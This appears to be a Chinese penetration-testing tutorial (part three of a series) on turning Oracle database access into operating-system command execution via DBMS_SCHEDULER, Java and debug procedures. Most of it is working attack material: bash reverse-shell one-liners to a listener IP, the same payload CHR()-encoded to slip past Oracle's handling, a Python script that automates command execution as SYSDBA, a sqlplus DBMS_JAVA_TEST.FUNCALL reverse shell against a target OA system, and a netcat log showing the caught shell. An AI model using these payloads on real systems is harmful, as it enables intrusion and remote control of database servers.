Oracle 渗透利用（三）

wholesome

Oracle 渗透利用（三）
STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。
Oracle 命令执行技巧
基于不同的权限，常见有三种方案可以执行命令：
DBMS_SCHEDULER、JAVA、Oracle debug
DBMS_SCHEDULER
该软件包的使用方式与Windows任务计划相似，能够指定某个任务在某时某刻执行，并且可以设置重复方式。经过实践，调用Java进行命令执行的优势是支持的版本能够达到Oracle i8+，而DBMS_SCHEDULER软件包是从Oracle 11g开始支持。DBMS_SCHEDULER软件包提供了可以从任何PL/SQL程序调用的调度功能和过程的集合。

    执行频次 -  repeat_interval
FREQ 用于指定频次计量单位：
（YEARLY, MONTHLY, WEEKLY, DAILY, HOURLY, MINUTELY, and SECONDLY），

1./bin/bash -c 'exec bash -i &>/dev/tcp/172.17.0.1/1122 <&1'
2./bin/bash -i &>/dev/tcp/172.17.0.1/1122 <&1

1. exec DBMS_SCHEDULER.CREATE_JOB(
   
2.   job_name=>'J1230', # 任务ID
   
3.   job_type=>'EXECUTABLE',
   
4.   number_of_arguments=>2, # 参数数量
   
5.   job_action =>'/bin/bash', # 执行路径
   
6.   auto_drop=>FALSE
   
7. );
   
8. # 第一个参数
   
9. exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1230',1,'-c');
   
10. # 第二个参数
    
11. exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE(
    
12. 'J1230',
    
13. 2,
    
14. CHR(101) || CHR(120) || CHR(101) || CHR(99) || CHR(32) || CHR(98) || CHR(97) || CHR(115) || CHR(104) || CHR(32) || CHR(45) || CHR(105) || CHR(32) || CHR(38) || CHR(62) || CHR(47) || CHR(100) || CHR(101) || CHR(118) || CHR(47) || CHR(116) || CHR(99) || CHR(112) || CHR(47) || CHR(49) || CHR(55) || CHR(50) || CHR(46) || CHR(49) || CHR(55) || CHR(46) || CHR(48) || CHR(46) || CHR(49) || CHR(47) || CHR(49) || CHR(49) || CHR(50) || CHR(50) || CHR(32) || CHR(60) || CHR(38) || CHR(49));
    
15. 
    
16. exec DBMS_SCHEDULER.ENABLE('J1230'); # 开始执行
    
17. 
    
18. exec DBMS_SCHEDULER.DROP_JOB(job_name=>'J1230') # 删除任务

复制代码

这里采用的是第一种方式，一共只需要传递2个参数即可，由于 &1 被Oracle进行了特殊处理，因此可以直接调用CHR函数进行编码。

1. import cx_Oracle
   
2. import time
   
3. 
   
4. def connect_oracle(username, password, sid, hostname, port=1521):
   
5.     dsn = cx_Oracle.makedsn(hostname, port, service_name=sid)
   
6.     connection = cx_Oracle.connect(username, password, dsn, cx_Oracle.SYSDBA,encoding="UTF-8")
   
7.     return connection
   
8. 
   
9. 
   
10. def query_row_oracle(sql, connection):
    
11.     cur = connection.cursor()
    
12.     results = cur.execute(sql)
    
13.     for row in results:
    
14.         print(row[0])
    
15. 
    
16. 
    
17. def execute_sql_oracle(sql, connection):
    
18.     cur = connection.cursor()
    
19.     results = cur.execute(sql)
    
20.     connection.commit()
    
21. 
    
22. def convert_command_to_oracleString(command):
    
23.     command_list = list(command)
    
24.     command_oracleString = ''
    
25.     for k in range(0,len(command_list)):
    
26.         command_oracleString += 'CHR(' + str(ord(command_list[k])) + ')'
    
27.         if(k + 1 != len(command_list)):
    
28.             command_oracleString += "||"
    
29.     # print(command_oracleString)
    
30.     return command_oracleString
    
31. 
    
32. def dbms_scheduler_execute(command , connection):
    
33.     job_name = 'JOracle1'
    
34.     bash_command = convert_command_to_oracleString(command)
    
35.     create_job_command = "begin \nDBMS_SCHEDULER.CREATE_JOB(job_name=>'%s',job_type=>'EXECUTABLE', number_of_arguments=>2,job_action =>'/bin/bash',auto_drop=>FALSE); \nend;"%(job_name)
    
36.     set_job_args_command = "begin \n DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('%s',1,'-c'); \nend;"% (job_name)
    
37.     bash_for_job_command = "begin \n  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('%s',2,%s); \nend;" % (job_name, bash_command)
    
38.     enable_job_command = "begin \n  DBMS_SCHEDULER.ENABLE('%s'); \nend;" % job_name
    
39.     drop_job_command = "begin \n DBMS_SCHEDULER.DROP_JOB(job_name=>'%s');\nend;" %(job_name)
    
40.     execute_sql_oracle(drop_job_command, connection)
    
41.     """
    
42.     print(create_job_command)
    
43.     print(set_job_args_command)
    
44.     print(bash_for_job_command)
    
45.     print(enable_job_command)
    
46.     print(drop_job_command)
    
47.     """
    
48.     execute_sql_oracle(create_job_command, connection)
    
49.     execute_sql_oracle(set_job_args_command, connection)
    
50.     execute_sql_oracle(bash_for_job_command, connection)
    
51.     execute_sql_oracle(enable_job_command, connection)
    
52.     time.sleep(3)
    
53.    
    
54.    # execute_sql_oracle(drop_job_command, connection)
    
55. 
    
56. 
    
57. if __name__ == "__main__":
    
58.     connection = connect_oracle('sys','sys','helowin','127.0.0.1')
    
59.     dbms_scheduler_execute('touch /tmp/222.txt',connection)
    
60.     connection.close()

复制代码

使用图形化工具
​
直连数据库情况下
安装sqlplus
官方下载地址:
https://www.oracle.com/database/ ... 4-64-downloads.html
​
命令行

1. root@kali:~# apt install oracle-instantclient12.1-sqlplus -y

复制代码

使用sqlplus连接目标OA系统的oracle数据库，写入bash反弹命令。

1. root@kali:~# sqlplus ecology/ecology@192.168.31.75:1521/orcl
   
2. SQL> select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','exec 9<> /dev/tcp/172.22.49.131/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh') from dual;
   
3. Enter value for 9: &9
   
4. Enter value for 9: &9
   
5. Enter value for 1: &1

复制代码

​
nc监听后，成功收到shell。

起初是不能执行系统命令的，需要添加环境变量才可以执行命令，这里需要特殊注意下。

1. root@kali:~# nc -lvvp 8080
   
2. listening on [any] 8080 ...
   
3. 192.168.31.75: inverse host lookup failed: Unknown host
   
4. connect to [172.22.49.131] from (UNKNOWN) [192.168.31.75] 19050
   
5. 
   
6. ifconfig
   
7. /bin/sh: line 4: ifconfig: No such file or directory
   
8. 
   
9. echo 1
   
10. 1
    
11. export PATH="/usr/local/bin:/usr/local/sbin:/usr/bin:/bin:/usr/sbin:/sbin" //添加环境变量
    
12. ifconfig
    

复制代码

​
JAVA
使用sqlps或者java的jdbc去链接数据库的话可以进行利用，使用navicat等数据库工具进行链接不能进行利用。
Oracle debug
Oracle命令执行分为两种情况，直连数据库且权限足够的情况是比较容易的，如果是SQL注入场景下，大部分是基于存储过程注入（漏洞）来执行命令。